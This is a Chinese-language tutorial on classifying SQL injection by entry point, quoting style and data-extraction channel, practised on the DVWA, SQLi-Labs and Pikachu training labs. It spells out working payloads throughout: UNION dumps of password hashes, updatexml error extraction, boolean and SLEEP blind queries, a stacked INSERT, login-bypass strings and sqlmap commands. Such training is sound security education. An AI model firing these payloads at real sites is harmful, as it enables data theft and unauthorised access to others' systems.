很多人把SQLi-Labs前面几关打通之后,会陷入一种错觉:SQL注入不就是' or 1=1#、union select 1,2,3嘛。直到某天在DVWA里输入同样的payload却没反应,或者在CTF里遇到一个不回显的注入点,才发现自己只是在背答案,并没有理解为什么这段payload有效。
我自己的经历也是这样。最早花了一晚上把Less-1到Less-4的联合注入刷完,第二天去测DVWA,直接翻车。后来意识到,问题不在于payload背得少,而在于没有先做“注入分类”。SQL注入的分类并不是考试要背的概念,它直接决定了你测试的时候从哪个入口打、用什么方式闭合、用哪种方法把数据取出来。
这篇文章要聊的就是这件事:把SQL注入按几个核心维度拆开,再用DVWA、SQLi-Labs、Pikachu这三个靶场把每种类型过一遍。适合刚接触Web安全的人,也适合那些已经能跑通sqlmap、但一遇到手工测试就不知道从哪下手的人。你会发现,只要判断出注入类型,后面基本全是固定套路。
1. 为什么必须先搞懂“分类”:SQL注入的本质是查询语义被改写
1.1 注入到底在注入什么
先说一个最容易被忽略的事实:SQL注入能发生,前提是开发者把用户输入直接拼进了SQL语句。用户输入一旦变成SQL语句的一部分,它就从“数据”变成了“代码”。比如一个根据用户ID查询资料的接口,正常请求是:
?id=1拼入SQL后是:
SELECT first_name, last_name FROM users WHERE user_id = '1';当输入变成1' or '1'='1时:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';or '1'='1'让where条件恒真,结果就是返回所有用户数据。如果后端代码用的是mysql_query()这种支持多条语句的函数,甚至还能通过;拼接第二条SQL。用户输入从“普通参数”变成“可执行代码”,这就是SQL注入的本质。
理解这一点对分类很重要。因为所有注入分类,本质上都是在回答两个问题:
- 第一个问题:用户输入被拼进了SQL语句的哪个位置、以什么形式被拼进去?
- 第二个问题:SQL语句执行完之后,结果以什么形式返回给攻击者?
分类就是这两个问题不同答案的组合。很多新手一上来就背payload,没有先回答这两个问题,所以到不同场景就抓瞎。
1.2 分类维度决定了测试顺序
常见的SQL注入分类维度有三个,按测试顺序排是这样:
- 注入位置维度:GET参数、POST参数、Cookie、HTTP头。这个决定了你从哪个入口测。
- 数据类型/闭合方式维度:数字型、字符型(单引号闭合、双引号闭合、括号包裹)、搜索型。这个决定了你要不要加引号、怎么闭合。
- 数据交互方式维度:联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入。这个决定了你用什么手段把数据拿出来。
三个维度是层层递进的。你不可能跳过闭合方式直接选联合注入,因为联合注入需要知道前面的字段数,而判断字段数必须在正确闭合的基础上进行。同样,你也不可能跳过数据交互方式去判断注入类型,因为联合注入和盲注的payload完全是两套东西。
为什么要用靶场练分类?因为靶场把各种组合都拆好了。SQLi-Labs从Less-1到Less-65几乎覆盖了所有维度组合,DVWA适合先感受SQL注入的完整链路,Pikachu则更适合练POST、搜索、HTTP头这些非标准注入位置。三个靶场配合起来,基本能把分类这个事练透。
2. 从DVWA入手:数字型与字符型注入的判断实操
2.1 DVWA的SQL Injection模块实测
DVWA(Damn Vulnerable Web Application)是最经典的入门靶场。登录后找到SQL Injection模块,Low级别下就是一个ID输入框。不过很多教程把它当成“数字型注入”的典型例子,这是错的。
我实际看了Low级别的源码,大概是这样的:
$id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";注意$id外面的单引号。虽然你输入的是数字,但SQL语句里它是被单引号包起来的,所以DVWA的SQL Injection模块其实是字符型注入,不是数字型。这一点很多人搞混,也是很多人在其他靶场里翻车的原因之一。
在DVWA里验证字符型注入很简单:
- 输入
1' and '1'='1,正常显示用户信息。 - 输入
1' and '1'='2,页面无数据。 - 输入
1' or '1'='1,查出了所有用户。 - 输入
1' union select user, password from users#,能把数据库账号和密码哈希直接打出来。
操作方法是在?id=后面直接拼上这些payload,比如:
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' union select user, password from users#&Submit=Submit注意DVWA需要登录Cookie,否则会被重定向到登录页。用浏览器正常登录后再访问这个URL就行。#在浏览器地址栏里会被当作锚点,所以如果要手输URL,最好用%23代替#,或者用Burp Suite改包发送。
2.2 判断数字型还是字符型的标准方法
无论是什么靶场,判断数字型还是字符型都有一套固定验证方法。不要因为参数值看起来像数字就默认它是数字型,要看闭合效果。
判断数字型注入:
- 输入
?id=1 and 1=1,页面正常。 - 输入
?id=1 and 1=2,页面异常或无数据。
如果两种情况有明显差异,说明1 and 1=1被拼进SQL后参与运算了,这是数字型。
判断字符型注入:
- 输入
?id=1' and '1'='1,页面正常。 - 输入
?id=1' and '1'='2,页面异常或无数据。
如果这两种情况有差异,说明你输入的单引号闭合了SQL语句中的引号,这是字符型。
两者本质区别就是闭合符号。数字型不需要闭合,字符型需要闭合单引号、双引号,有时候还涉及括号。可以用一个表格来对比:
| 类型 | SQL拼接示例 | 判断payload | 常见位置 |
|---|---|---|---|
| 数字型 | WHERE id = $id | 1 and 1=1 | ID、文章编号等整数参数 |
| 字符型 | WHERE name = '$name' | 1' and '1'='1 | 用户名、搜索关键词、标题等字符串参数 |
| 搜索型 | WHERE title LIKE '%$key%' | 1' and '1'='1或%通配符 | 搜索框 |
这个判断方法适用于所有数据库。MySQL、SQL Server、Oracle里SQL语法差异不小,但and 1=1和and 1=2的判定逻辑是通用的。
2.3 一个经典误判:DVWA不是数字型
回到DVWA。网络上大量教程把DVWA的SQL Injection模块写成数字型,理由是输入框要求填ID数字。但看源码就知道,查询直接用了WHERE user_id = '$id',单引号包着的。用数字型的payload1 and 1=1去测,实际上试不出来,因为它会被当成字符串的一部分,根本不会参与SQL逻辑。
那为什么很多人还说是数字型?因为有些旧版本DVWA的代码不一样,或者PHP版本对$_REQUEST的处理有差异,加上大部分人没有真正看源码,只是照着教程复制。我的建议是:
遇到靶场先看源码,别猜。
在本地部署的DVWA,直接打开/var/www/html/dvwa/vulnerabilities/sqli/source/low.php这类路径就能看到真实SQL。自己部署的靶场,源码就在手边,不看白不看。理解拼接方式之后再判断类型,成功率会高很多。这也是“靶场实践”和“刷题”最大的区别:靶场允许你打开源码验证自己的判断,这样形成的分类思维才是扎实的。
3. 按“数据交互方式”切分:联合查询、报错注入与盲注的靶场对照
3.1 联合查询注入:SQLi-Labs Less-1 与 Less-2 的实践
联合查询注入,英文叫Union Based Injection,是所有注入类型里“最舒服”的一种。为什么?因为页面会直接把SQL查询结果显示出来。
联合查询的核心原理是:UNION关键字可以把两个SQL查询的结果集合并在一起。前提是前后两个查询的列数必须相同。所以联合注入的完整步骤是:
- 判断注入类型(字符型/数字型)。
- 用
ORDER BY N判断列数。 - 用
UNION SELECT 1,2,3...探测哪些列会回显到页面。 - 把回显位置替换成数据库名、表名、字段名、数据。
以SQLi-Labs Less-1为例。访问:
http://127.0.0.1/sqli-labs/Less-1/?id=1'页面报错:You have an error in your SQL syntax... near ''1'' LIMIT 0,1。这是字符型注入的标志。然后按顺序执行:
?id=1' ORDER BY 3--+页面正常。继续:
?id=1' ORDER BY 4--+页面报错。说明原查询只有3列。接着:
?id=1' UNION SELECT 1,2,3--+页面显示出2和3两个数字在页面上,说明第2列和第3列是可以回显的。接下来把2替换成数据库名,3替换成版本号:
?id=1' UNION SELECT 1,database(),version()--+拿到数据库名security。继续爆表:
?id=1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+会看到所有表名。然后爆字段、爆数据,思路完全一样。
Less-2是数字型注入,直接:
?id=1 ORDER BY 3--+不需要单引号。如果Less-1你用的是'闭合,Less-2再用同样的payload就会报错。这个对比能很好地强化“先判断类型”的意识。
3.2 页面没有回显时:报错注入与布尔盲注
联合注入很舒服,但现实中很多页面不会显示SQL查询结果。这时候就要换方案了,取决于页面还有什么“反应”。
报错注入,前提是数据库报错信息会显示在页面上。SQLi-Labs Less-5就是这个类型。访问:
http://127.0.0.1/sqli-labs/Less-5/?id=1'页面不会显示数据库内容,但会输出SQL错误。用updatexml()函数可以人为制造报错,并让报错信息里带上我们想要的数据:
?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+0x7e是~符号的十六进制,把它和查询结果拼在一起,updatexml第二参数不是合法的XPath表达式,就会触发报错,报错信息里包含了~security~。这样数据库名就出来了。
布尔盲注,适用于页面不显示报错、也没有任何数据回显,但正确和错误条件页面表现不同。SQLi-Labs Less-8是典型:
?id=1' AND ascii(substr(database(),1,1))>100--+如果数据库名第一个字符的ASCII码大于100,页面显示You are in...........,否则什么都不显示。通过不断改变ASCII值,逐字符猜出数据库名。手工操作很慢,可以用二分法或者写脚本,但核心逻辑就是“利用页面差异传递信息”。
时间盲注,适用于页面完全没有任何差异的情况。SQLi-Labs Less-9就是:无论条件真假,页面都显示You are in...........。这时候只能用SLEEP()制造时间差:
?id=1' AND IF(ascii(substr(database(),1,1))>100,SLEEP(3),1)--+如果页面多等了3秒,说明条件成立。时间盲注最慢,但也是“零回显”场景下最后的办法。
整理一下四种方式的适用条件:
| 注入方式 | 判断条件 | 典型 payload | 对应靶场关卡 |
|---|---|---|---|
| 联合查询 | 页面有数据回显 | UNION SELECT 1,2,3 | SQLi-Labs Less-1/2 |
| 报错注入 | 页面输出数据库错误信息 | updatexml(1,concat(0x7e,database(),0x7e),1) | SQLi-Labs Less-5 |
| 布尔盲注 | 页面正确/错误有差异 | AND ascii(substr(database(),1,1))>100 | SQLi-Labs Less-8 |
| 时间盲注 | 页面无任何差异 | AND IF(...,SLEEP(3),1) | SQLi-Labs Less-9 |
3.3 为什么报错注入和盲注不能用同一套payload
很多人学会联合注入之后,在报错注入场景里还是习惯性打UNION SELECT,结果页面没反应,就以为不存在注入。实际上不是没有注入,而是数据没有回显。
联合查询依赖查询结果被输出到页面。报错注入依赖数据库错误信息被输出。布尔盲注依赖页面状态变化。时间盲注只依赖时间差。这四种方式的“信号通道”完全不一样,所以测试的时候是一层层往下走的:
- 先看页面有没有数据位 → 有,用联合查询。
- 没数据位但报错信息还在 → 用报错注入。
- 报错信息被吞了,但正确和错误页面不同 → 用布尔盲注。
- 页面完全一样,只剩时间这个变量 → 用时间盲注。
在靶场里可以按SQLi-Labs的关卡顺序练习:Less-1到Less-4是联合查询,Less-5是报错,Less-8是布尔盲注,Less-9是时间盲注。一路打下来,这种“由浅入深”的判断逻辑就会变成肌肉记忆。
4. 容易忽视的两个分类维度:注入位置与堆叠/万能密码场景
4.1 从GET到POST:SQLi-Labs Less-11 与 Pikachu 的请求方式差异
很多人练习GET注入习惯了,到了登录框这种POST场景就懵。POST注入和GET注入在SQL拼接逻辑上完全一样,区别只在于数据放在HTTP请求的哪个位置。GET注入在URL里能看到参数,POST注入参数在请求体里,URL上什么都看不出来。
SQLi-Labs Less-11是一个POST型登录框。步骤是这样的:
用Burp Suite打开登录页面,随便输入用户名和密码,抓到POST请求:
POST /sqli-labs/Less-11/ HTTP/1.1 ... uname=admin&passwd=123把请求包发给Repeater,修改uname参数:
uname=admin' AND 1=1#&passwd=123页面提示登录成功但回显正常;改成:
uname=admin' AND 1=2#&passwd=123页面显示用户名不正确。说明存在字符型注入。后面就是正常的联合查询流程,只不过payload的位置在POST请求体里。
Pikachu靶场也有一个“数字型注入”模块,同样是POST方式。开Burp抓包就能看到参数以POST形式提交,然后按数字型注入的方式测试:
id=1 AND 1=1 id=1 AND 1=2为什么说这个维度容易被忽视?因为很多漏洞扫描工具默认只测GET参数,如果目标站点的主要入口是登录框和搜索框,盯着URL测等于漏掉了最大的攻击面。手动测试时,把GET、POST、Cookie、HTTP头都测一遍才算是完整。
4.2 堆叠注入与万能密码的靶场场景
堆叠注入(Stacked Queries)和其他类型不太一样,它不是“查询结果怎么展示”的问题,而是能不能执行多条SQL语句的问题。原理是很多后端的数据库接口允许一次发送多条SQL语句,用分号分隔。这种注入的危害比普通注入更大,因为可以执行增删改查。
SQLi-Labs Less-38是堆叠注入的例子。在?id=1后面加一条插入语句:
?id=1';INSERT INTO users(id,username,password) VALUES ('88','test','123456')--+执行之后去数据库里查,会发现多了一行数据。注意,不是所有PHP接口都支持堆叠注入,PDO的某些配置会禁止多条语句执行,而老式的mysql_query()则支持。所以堆叠注入能不能打成功,完全取决于后端环境。
和堆叠注入经常一起出现的还有一个词:万能密码。万能密码本质上是登录场景下的逻辑绕过,利用SQL条件判断的特性让验证语句恒真。最常见的payload是:
admin' OR '1'='1' -- ' OR 1=1#登录框SQL通常是:
SELECT * FROM users WHERE username='$user' AND password='$pass';把用户名填成admin' OR '1'='1' --,SQL就变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='xxx';--注掉了后面的密码判断,整条语句恒真,登录直接通过。在DVWA或Pikachu的登录模块里可以试,效果非常直观。不过我提醒一句,这个场景只应该在自己部署的靶场或明确授权的环境里测试,别拿去试真实站点。
4.3 不要忽略Cookie/Header注入与搜索型注入
除了GET、POST,还有两类注入位置经常被刻意隐藏:HTTP头注入和Cookie注入。Pikachu的“HTTP Header注入”模块就是练这个的。
打开Pikachu的HTTP Header注入页面,用Burp抓包,修改User-Agent或者Referer请求头,加上单引号测试闭合。原理和GET注入一样,只是入口藏在请求头里。有些后端会把用户代理、来源页面写进数据库做统计,如果开发者直接拼接SQL,就会形成注入点。
搜索型注入则是另一种闭合方式。它的SQL形态通常是:
SELECT * FROM news WHERE title LIKE '%$keyword%';如果你输入的关键词带单引号,比如:
1' AND '1'='1拼接后变成:
SELECT * FROM news WHERE title LIKE '%1' AND '1'='1%';如果页面表现异常,说明存在搜索型注入。Pikachu的搜索型注入模块就是这个思路。这种注入的测试payload往往要在开头或结尾处理%通配符,和普通字符型注入略有不同。
所以分类的时候,别只盯着URL问号后面的参数。请求头、Cookie、搜索框,每一个都可能藏着独立的注入点,每个入口还要单独判断数据类型和闭合方式,这对测试习惯的要求挺高的。
5. 靶场选择、搭建与工具链:把分类训练变成可复现的日常
5.1 三个经典靶场的定位差异
靶场选得好,分类练习效率高一倍。我常驻的SQL注入靶场有三个:
| 靶场 | 特点 | SQL注入覆盖度 | 适合谁 |
|---|---|---|---|
| DVWA | 综合Web漏洞,有安全等级切换 | SQL注入模块不算多,但有联合查询、盲注和SQLmap练习场景 | 完全新手,先建立整体认知 |
| SQLi-Labs | 专注SQL注入,65个关卡,从基础到进阶全覆盖 | 极高,包含GET/POST、字符/数字、联合/报错/布尔/时间/堆叠/二次注入等 | 想系统学SQL注入分类的人 |
| Pikachu | 中文靶场,覆盖多种Web漏洞,有大量真实场景 | 涵盖数字型、字符型、搜索型、POST、HTTP头、盲注等 | 练实战场景和中文环境的人 |
如果只能选一个,我建议把SQLi-Labs完整打一遍。它的关卡设计几乎就是按分类维度排的,Less-1到Less-10能覆盖大部分基础类型,Less-11到Less-30涉及POST、UA头、Cookie等不同入口,后面的关卡还有各种过滤绕过,非常适合当分类手册用。
5.2 Docker一键搭建与常见排错
三个靶场都可以用Docker快速搭建。以DVWA为例:
docker run -d -p 8080:80 vulnerables/web-dvwa启动后访问http://127.0.0.1:8080,默认账号admin、密码password。首次使用需要在http://127.0.0.1:8080/setup.php初始化数据库。
SQLi-Labs可以先拉镜像或直接用源码部署。源码部署的话,把sql-connections/db-creds.inc里的数据库账号密码改对,然后访问http://127.0.0.1/sqli-labs/sql-connections/setup-db.php自动建库。我遇到过几次数据库连不上的问题,基本都在db-creds.inc的配置和MySQL的root账号认证方式上。
Pikachu也是同样套路,源码放到Web目录,访问install.php初始化,然后修改inc/config.inc.php里的数据库连接。
常见排错:
- 容器端口被占:换一个宿主机端口映射,比如
-p 8081:80。 - 数据库初始化失败:确认MySQL已启动,账号有远程权限。
- DVWA登录后白屏:可能是cookie问题,换个无痕窗口重新登录。
- 页面报权限错误:检查Web目录权限,
chmod -R 755基本能解决。
有一点要注意:Docker容器的文件系统是临时的,容器重建后你在靶场里做的测试数据会丢。如果想保留数据,用docker commit或者挂载目录。
5.3 用sqlmap验证分类判断,但别完全依赖它
把sqlmap当成验证工具来用,效率很高。前提是你先手工判断了注入类型,再用sqlmap去确认。
sqlmap基础用法:
# 探测一个GET注入点 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --batch # 指定数据库类型和注入技术 sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbms=mysql --technique=EU --batch # 测试POST参数 sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/" --data "uname=admin&passwd=123" --batch # 指定Cookie(DVWA这类需要登录的靶场) sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID" --batch--technique参数对应注入分类:
| 参数 | 含义 |
|---|---|
| B | 布尔盲注 |
| E | 报错注入 |
| U | 联合查询注入 |
| S | 堆叠查询注入 |
| T | 时间盲注 |
| Q | 内联查询 |
比如--technique=BET就是只测布尔、报错和时间盲注。如果页面没有回显但sqlmap跑不出来,可以考虑提高检测深度:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --level=3 --risk=2 --batch--level越高,测试的注入点越多(包括Cookie和User-Agent),--risk越高,使用越激进的payload。在靶场里随便测,但在授权测试里要小心--risk=3,因为它可能触发DELETE或UPDATE类的payload,造成数据被改。
但我想强调的是,sqlmap输出“某某参数存在注入”不一定代表你真正理解了分类。我见过很多情况:sqlmap跑不出结果,一查发现是闭合方式特殊,或者被WAF拦了一部分payload。这种时候手工判断能力才是兜底的。用靶场把手工判断练熟了,再用sqlmap加速,两条腿走路才稳。
5.4 实战体会:判断分类的三步法
最后说一个我在靶场里反复验证过的三步判断法。
第一步,找输入点。看请求里的参数,GET参数看URL,POST参数看请求体,还有Cookie和请求头。每个参数都值得单独测一遍。
第二步,判断闭合方式。在参数后面加单引号、双引号、'加括号,观察页面是否报错或行为变化。报错信息会直接暴露SQL语法结构,没有报错就用AND 1=1/AND 1=2去试探。
第三步,确认输出通道。如果数据直接显示在页面,尝试联合注入;如果只有报错,尝试报错注入;如果内容不显示但页面有差异,走布尔盲注;如果页面一模一样,只能看时间差,走时间盲注。
这个顺序在DVWA、SQLi-Labs、Pikachu里都适用。每次遇到一个新靶场,我都先按这三步走一遍,很少再出现“不知道用什么payload”的情况。
至于常见的翻车点,我大概总结了几个:不看源码直接猜类型、在无回显页面硬打联合注入、忽略了POST参数、在需要Cookie的靶场里不带Cookie直接测、--+没理解成空格导致注释失效。这些都是可以靠反复练习避开的。把SQLi-Labs从Less-1打到Less-10,再回到DVWA把所有模块重测一遍,整个分类思路基本就定型了。